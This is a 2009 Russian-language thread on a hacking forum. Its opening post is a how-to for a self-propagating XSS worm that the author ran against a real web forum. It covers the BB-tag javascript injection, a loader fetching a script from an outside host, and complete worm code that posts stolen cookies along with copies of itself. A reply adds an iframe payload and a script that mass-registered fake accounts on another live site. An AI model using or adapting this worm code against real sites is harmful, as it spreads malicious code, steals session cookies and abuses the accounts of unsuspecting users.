ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

xss червь на реальном примере
  #1  
Старый 02.05.2009, 12:03
Аватар для Goudini
Goudini
Участник форума
Регистрация: 07.06.2006
Сообщений: 146
Провел на форуме:
1652093

Репутация: 490
Отправить сообщение для Goudini с помощью ICQ
По умолчанию xss червь на реальном примере

Вступление
В данной статье будет описана история создания само распространяемого кода для web2.0 сайта...

Суть программных червей очень интересна. После единоразового запуска программы, она сама находит способ копироваться и запускаться снова, и снова. Но это не обязательно исполняемый файл, который сканирует сеть на наличие уязвимостей. В эпоху развития Интернета можно использовать WEB-сайты, на которых не достаточно хорошо реализована проверка данных, приходящих от пользователей.

Дальше будет рассмотрен пример для сайта www.bazika.net. Существенно облегчает распространение «вредоносного» кода по сайту тот факт, что на нём используются готовые Javascript библиотеки..

Показанные ниже действия были выполнены в качестве эксперимента, и не имели цель навредить сайту, или его пользователям.

Уязвимость
Для того чтобы программный код начал распространение по сайту нужно найти способ внедрить его в браузер пользователя. На форуме была найдена возможность вставлять Javascript код в сообщение через BB тег IMG. Пример сообщения:

Код:
[іmg]javascript:alert('LOL')[/іmg]
В результате на страничке появится такой HTML код:

Код:
<img src="javascript:alert('LOL')" alt="javascript:alert('LOL')" />
Как видно, здесь вместо адреса картинки вставлен скрипт. В браузере Firefox будет выведен код Javascript вместо картинки, но в таких браузерах как Opera, IE сработает Javascript... Эта идея и будет отправной точкой распространения.

Достаточно будет создать сообщение с «вредоносным» кодом и все пользователи его просматривающие примут участие в распространении «червя» по сайту.

Ниже показан пример начального сообщения, загружающего в браузер скрипт с удалённого адреса:

Код:
[іmg]javascript:var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));
s.src='http://h3ck.rv.ua/b/o_O.php';document.body.appendChild(s);
void(0)[/іmg]
Метод распространения.
Скрипт, загруженный с сайта будет создавать от имени пользователя новое сообщение на форуме, которое будет повторно в себя включать «вредоносный» код. Таким образом будет идти размножение «червя» по сайту. Дополнительно выполняется проверка выполнения скрипта, так как может быть создано несколько наших сообщений в одном топике. Выполнение происходит один раз.

Реализация на языке Javascript может быть такой:

Код HTML:
if (!isLoaded) { 
	// скрываем нашу картинку
	for (var i=0; i<document.images.length; i++) { 
		if (document.images[**i].src.match(/^javascript:/)) { 
			document.images[**i].style.display = 'none'; 
		} 
	} 
	// текст нового сообщения
	var xss_body = document.cookie + "\n\n" + 
			  "[img]javascript:var s=document.createElement(String.fromCharCod"+ 
			  "e(115,99,114,105,112,116));s.src='"+ 
			  "http://h3ck.rv.ua/b/o_O.php"+ 
			  "';document.body.appendChild(s);void(0)[/img]"; 

	// id топика выбирается из списка горячих тем
	var topics = []; 
	var regexp=/\/forum\/topic\/(\d+)/; 
	for (i=1; i<document.links.length; i++) { 
		if ((result = document.links[**i].href.match(regexp)) &&	document.links[**i].href.indexOf('#')==-1) { 
			topics.push(document.links[**i].href.match(regexp)[1]); 
		} 
	} 
	var topic_rand = topics[Math.round(Math.random()*topics.length)]; 
	
	// создание нового сообщения. 
	$.post('/forum/do/',{action:"add_reply", text:xss_body, topic:topic_rand}, 
		function(data){alert(data);},"json"); 
} 
var isLoaded = 1;
звёздочки вставлены потому что парсер форума думает что это тег [*i]

Результат:


Заключение.
После создания нескольких начальных сообщений на форуме, можно было увидеть как один за другим появляются сообщения от пользователей. Этот процесс мог бы продолжатся если бы через несколько часов не закрыли сайт на доработку.
В принципе, в подключаемом файле мог быть намного более злой код, который бы выполнялся при каждом просмотре сообщения.

Данная статья была написана для того чтобы показать насколько важно заботится о клиентской части безопасности сайта, особенно при использовании таких технологий как AJAX.


P.S. Как видите для того чтобы удачно эксплуатировать xss уязвимости (читай - получить cookies) не обязятельно использовать обычный подход с редиректом юзера на php сниффер. Для этого вполне можно использовать уязвимый сайт.


--------------------------

автор статьи: Goudini
кросс пост h3ck blog
 
Ответить с цитированием

  #2  
Старый 02.05.2009, 13:37
Аватар для Zitt
Zitt
Познавший АНТИЧАТ
Регистрация: 07.05.2006
Сообщений: 1,031
Провел на форуме:
5885100

Репутация: 773


Отправить сообщение для Zitt с помощью ICQ
По умолчанию

для ддоса норм идея..+)
 
Ответить с цитированием

  #3  
Старый 23.05.2009, 13:16
Аватар для Goudini
Goudini
Участник форума
Регистрация: 07.06.2006
Сообщений: 146
Провел на форуме:
1652093

Репутация: 490
Отправить сообщение для Goudini с помощью ICQ
По умолчанию

а поцчему только один коммент к статье
 
Ответить с цитированием

  #4  
Старый 23.05.2009, 14:37
Аватар для Fepsis
Fepsis
Постоянный
Регистрация: 17.09.2008
Сообщений: 562
Провел на форуме:
6962560

Репутация: 536


По умолчанию

Помниться кто-то продавал мега спамер по мейл агенту, который также использовал xss уязвимость мейла и рассылал сообщение всем контактам.. распространялся таким же образом..))
 
Ответить с цитированием

  #5  
Старый 23.05.2009, 14:50
Аватар для Karantin
Karantin
Постоянный
Регистрация: 21.12.2007
Сообщений: 475
Провел на форуме:
1270580

Репутация: 387
Отправить сообщение для Karantin с помощью ICQ
По умолчанию

к таким червям хорошо прикручивать CSRF, не ограничиваясь одним форумом
 
Ответить с цитированием

  #6  
Старый 26.05.2009, 21:57
Аватар для Nelzone
Nelzone
Постоянный
Регистрация: 12.04.2008
Сообщений: 403
Провел на форуме:
4700216

Репутация: 261
По умолчанию

гуд...жаль что такое с мубом не сделаешь
 
Ответить с цитированием

  #7  
Старый 27.05.2009, 00:28
Аватар для vvs777
vvs777
Познавший АНТИЧАТ
Регистрация: 16.11.2004
Сообщений: 1,257
Провел на форуме:
1331503

Репутация: 454


Отправить сообщение для vvs777 с помощью ICQ Отправить сообщение для vvs777 с помощью AIM
По умолчанию

Классно...
А никто не знает что это придумал я =)
Еще в 2004 году я таким макаром один сайт олимпиады попускал.

(если что - админы подтвердят. Сомневаюсь, что они меня забыли )

В регистрации форма пропускала хтмл код.
в одно из полей я фтыкнул ифрейм, который грузил страницу моего сайта на народе, где JS код генерировал рандомніе из списка ФИО и регистрировался на сайте, причемм одно из полей опять таки содержало фрейм.
Итого при просмотре списка участников происходила регистрация новых.
Каждая строка - номер просмотра - количество рег
0 1
1 2
2 4
3 6
4 10
...
Хотя после этого дела админы наконец то прикрыли xss, хотя до я им не раз порно картинки внедрял в таблицу
Код:
<form name="xf" action="http://www2.********/cgi-bin/v_olymp/i2004/members.py" method="POST">  <input type="hidden" name="first_name" value="fucker"> <input type="hidden" name="second_name" value="%3CIFRAME width=0 height=0 src=%22http://xaker_site.narod.ru/reg.htm%22%3E%3C/IFRAME%3Efucker"> <input type="hidden" name="country" value="Украина"> <input type="hidden" name="city" value="Киев"> <input type="hidden" name="school" value="СШ №7"> <input type="hidden" name="course" value="10"> <input type="hidden" name="email" value="vxredirect@mail333.com"> <input type="hidden" name="status" value="student"> <input type="hidden" name="language" value="ukr"> <input type="hidden" name="command" value="register"> </form>  <script>  function rand(num) {  return Math.floor(Math.random() * num )+1;  }  s='xxxx';  s=rand(9)+''+rand(9)+''+rand(9)+''+rand(9);  document.write(s+'<BR>');  names=new Array (30);  names[00]= 'Дмитрий';  names[01]= 'Андрей';  names[02]= 'Николай';  names[03]= 'Евгений';  names[04]= 'Иван';  names[05]= 'Антон';  names[06]= 'Олег';  names[07]= 'Константин';  names[08]= 'Вова';  names[09]= 'Сергей';  names[10]='Виктор';  names[11]='Кирилл';  names[12]='Максим';  names[13]='Иосиф';  names[14]='Юрий';  names[15]='Иван';  names[16]='Роман';  names[17]='Александр';  names[18]='Алексей ';  names[19]='Владимир';  names[20]='Илья';  names[21]='Богдан';  names[22]='Даниил';  names[23]='Виталий';  names[24]='Егор';  names[25]='Игорь';  names[26]='Ростислав';  names[27]='Артур';  names[28]='Вадим';  names[29]='Леонид';  names[30]='Павел';  surnames=new Array (30);  surnames[00]= 'Петров';  surnames[01]= 'Петровский';  surnames[02]= 'Сидоров';  surnames[03]= 'Сидорчук';  surnames[04]= 'Иванов';  surnames[05]= 'Иваненко';  surnames[06]= 'Маенко';  surnames[07]= 'Еремеенко';  surnames[08]= 'Лацюк';  surnames[09]= 'Бузин';  surnames[10]= 'Литвинов';  surnames[11]= 'Тысливый';  surnames[12]= 'Кипелов';  surnames[13]= 'Короленко';  surnames[14]= 'Монкур';  surnames[15]= 'Федорчук';  surnames[16]= 'Кравченко';  surnames[17]= 'Тымчиков';  surnames[18]= 'Хмельничук';  surnames[19]= 'Костыренко';  surnames[20]= 'Ронин';  surnames[21]= 'Вавилов';  surnames[22]= 'Винничук';  surnames[23]= 'Благой';  surnames[24]= 'Гончаренко';  surnames[25]= 'Ефимов';  surnames[26]= 'Каиров';  surnames[27]= 'Смирнов';  surnames[28]= 'Ходаков';  surnames[29]= 'Орлов';  surnames[30]= 'Вовченко';  cities=new Array (21);  cities[0]='Киев';  cities[1]='Чернигов';  cities[2]='Сумы';  cities[3]='Харьков';  cities[4]='Луганск';  cities[5]='Донецк';  cities[6]='Запорожье';  cities[7]='Днепропетровск';  cities[8]='Херсон';  cities[9]='Симферополь';  cities[9]='Николаев';  cities[10]='Одесса';  cities[11]='Кировоград';  cities[12]='Черкассы';  cities[13]='Житомир';  cities[14]='Хмельницкий';  cities[15]='Ровно';  cities[16]='Тернополь';  cities[17]='Черновцы';  cities[18]='Ивано-Франковск';  cities[19]='Львов';  cities[20]='Луцк';  cities[21]='Днепродзержинск';  courses=new Array (3);  courses[1]='9';  courses[2]='10';  courses[3]='11';  schs=new Array (8);  schs[1]='сш№';  schs[2]='СШ №';  schs[3]='сш №';  schs[4]='СООШ ';  schs[5]='сш';  schs[6]='СШ ';  schs[7]='Школа №';  schs[8]='Школа ';  document.xf.first_name.value=names[rand(30)];  document.xf.second_name.value=surnames[rand(30)];  document.xf.city.value=cities[rand(21)];  document.xf.school.value=schs[rand(8)]+rand(88);  document.xf.course.value=courses[rand(3)];    document.write(document.xf.first_name.value+'<BR>');  document.write(document.xf.second_name.value+'<BR>');  document.write(document.xf.country.value+'<BR>');  document.write(document.xf.city.value+'<BR>');  document.write(document.xf.school.value+'<BR>');  document.write(document.xf.course.value+'<BR>');  //id generation      //document.forms[0].submit();  </script>
мда, были времена когда я еще не знал пхп и приходилось вот так извращаться...

Еще в тему оттуда же Флудер на Javascript

Последний раз редактировалось vvs777; 27.05.2009 в 00:41..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Xss черви и вирусы: сообщества уязвимых Utochka Чужие Статьи 3 28.08.2006 00:26
Xss для новичков Micr0b Уязвимости 0 04.06.2006 18:25
XSS червь в Myspace.com DRON-ANARCHY Мировые новости 0 22.10.2005 18:59
Cross Site Scripting FAQ k00p3r Уязвимости 6 12.06.2005 16:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ